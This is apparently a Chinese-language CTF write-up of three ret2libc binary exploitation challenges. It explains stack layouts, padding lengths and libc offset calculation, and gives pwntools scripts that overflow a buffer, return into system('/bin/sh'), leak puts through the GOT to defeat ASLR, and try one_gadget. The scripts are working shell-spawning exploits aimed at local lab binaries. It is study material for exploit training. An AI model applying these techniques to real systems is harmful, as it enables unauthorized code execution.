题目ret2libc1
这里需要通过gets函数覆盖返回地址到system函数,并把/bin/sh
作为system的参数。
由于是动态链接,所以需要把返回地址原本写system函数的地址改为system函数在plt表中的地址。
from pwn import *
elf = ELF("./ret2libc1")
sys_addr = elf.plt["system"]
bin_sh_addr = next(elf.search(b"/bin/sh"))
io = process("./ret2libc1")
io.recvline()
payload = b'a'*(108+4) + p32(sys_addr) + b'1111' + p32(bin_sh_addr)
io.sendline(payload)
io.interactive()
题目ret2libc2
相比于ret2libc1来说没有/bin/sh
, 需要想到要往其中写入。这时就得想到.bss
节可以写。
payload栈结构如下图。
from pwn import *
elf = ELF("ret2libc2")
sys_addr = elf.plt["system"]
gets_addr = 0x08048460
buf_addr = 0x0804a080
io = process("./ret2libc2")
io.recvuntil("What do you think ?")
payload = b'a'*(108+4) + p32(gets_addr) + \
p32(sys_addr) + p32(buf_addr) + p32(buf_addr)
io.sendline(payload)
io.sendline(b'/bin/sh')
io.interactive()
或者通过pop、ret
方法平衡栈
from pwn import *
elf = ELF("ret2libc2")
sys_addr = elf.plt["system"]
gets_addr = 0x08048460
buf_addr = 0x0804a080
pop_ebx_ret_addr = 0x0804872f
io = process("./ret2libc2")
io.recvuntil("What do you think ?")
payload = b'a'*(108+4) + p32(gets_addr) + \
p32(pop_ebx_ret_addr) + p32(buf_addr) + \
p32(sys_addr) + p32(1) + p32(buf_addr)
io.sendline(payload)
io.sendline(b'/bin/sh')
io.interactive()
题目ret2libc3
反编译代码
初始时main函数中的栈帧
调用printf_message函数中的strcpy函数时的栈帧
可以在第二个输入时构造payload,覆盖返回地址
通过内存泄漏,找到puts函数的真实地址
找到libc里system函数和puts函数地址差,从而得到system函数的地址
需要注意动态库每次装载时都会被装在到不同的地方,所以只能先获取system相对puts函数的偏移量。然后根据程序运行时得到的puts函数的真实地址得到system函数的真实地址。
通过pwndgb可以计算出第二次输入时需要覆盖的长度
0xffffd010 - 0xffffd048 = -56
,所以需要覆盖56+4=60个字节长度
system("/bin/sh")
和system("sh")
都可以执行shell,所以这里在程序里找到一个以sh
结尾的地址作为system的参数
但是最后打不通,后来发现是libc文件的问题
linux下的命令ldd
是列出动态库的依赖关系,发现用的是/lib/i386-linux-gnu/libc.so.6
from pwn import *
elf = ELF("./ret2libc3")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
io = process("./ret2libc3")
io.sendlineafter(b'Give me an address (in dec) :', str(elf.got['puts']))
io.recvuntil(b'The content of the address : ')
libcBase = int(io.recvuntil(b'\n', drop=True), 16) - libc.symbols['puts']
sh_addr = next(elf.search(b'sh\x00'))
payload = flat(cyclic(60),libcBase+libc.symbols['system'], cyclic(4), sh_addr)
# cyclic(n)填充n字节的垃圾数据
io.sendlineafter(b'Leave some message for me :', payload)
io.interactive()
还有一个讨巧的方法,是用one_gadget来打,运气好的话可以打通
one_gadget是找libc文件中可以执行shell的程序的软件,每条语句都会有限制条件,如果满足限制条件的话才能打通。
payload = flat(cyclic(60),libcBase+libc.symbols['system'], cyclic(4), sh_addr)
改成
payload = flat(cyclic(60),libcBase+0x3a80c)
挨个地址试一试